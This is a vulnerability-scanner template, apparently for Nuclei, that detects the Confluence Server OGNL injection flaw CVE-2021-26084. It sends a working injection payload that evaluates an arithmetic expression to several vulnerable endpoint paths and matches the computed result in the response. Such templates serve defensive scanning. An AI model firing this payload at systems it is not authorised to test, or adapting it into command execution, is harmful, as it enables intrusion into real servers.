61 lines
2.4 KiB
YAML
61 lines
2.4 KiB
YAML
id: CVE-2021-26084
|
|
|
|
info:
|
|
name: Confluence Server OGNL injection - RCE
|
|
author: dhiyaneshDk,philippedelteil
|
|
severity: critical
|
|
description: In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary
|
|
code on a Confluence Server or Data Center instance. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if 'Allow people to sign up to create their account' is enabled.
|
|
To check whether this is enabled go to COG > User Management > User Signup Options. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from
|
|
version 7.12.0 before 7.12.5.
|
|
reference:
|
|
- https://jira.atlassian.com/browse/CONFSERVER-67940
|
|
- https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-26084
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-26084
|
|
- https://github.com/Udyz/CVE-2021-26084
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-26084
|
|
cwe-id: CWE-74
|
|
metadata:
|
|
shodan-query: http.component:"Atlassian Confluence"
|
|
tags: cve,cve2021,rce,confluence,injection,ognl
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /{{path}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
queryString=aaaa\u0027%2b#{16*8787}%2b\u0027bbb
|
|
|
|
payloads:
|
|
path:
|
|
- pages/createpage-entervariables.action?SpaceKey=x
|
|
- pages/createpage-entervariables.action
|
|
- confluence/pages/createpage-entervariables.action?SpaceKey=x
|
|
- confluence/pages/createpage-entervariables.action
|
|
- wiki/pages/createpage-entervariables.action?SpaceKey=x
|
|
- wiki/pages/createpage-entervariables.action
|
|
- pages/doenterpagevariables.action
|
|
- pages/createpage.action?spaceKey=myproj
|
|
- pages/templates2/viewpagetemplate.action
|
|
- pages/createpage-entervariables.action
|
|
- template/custom/content-editor
|
|
- templates/editor-preload-container
|
|
- users/user-dark-features
|
|
|
|
stop-at-first-match: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'value="aaaa{140592=null}'
|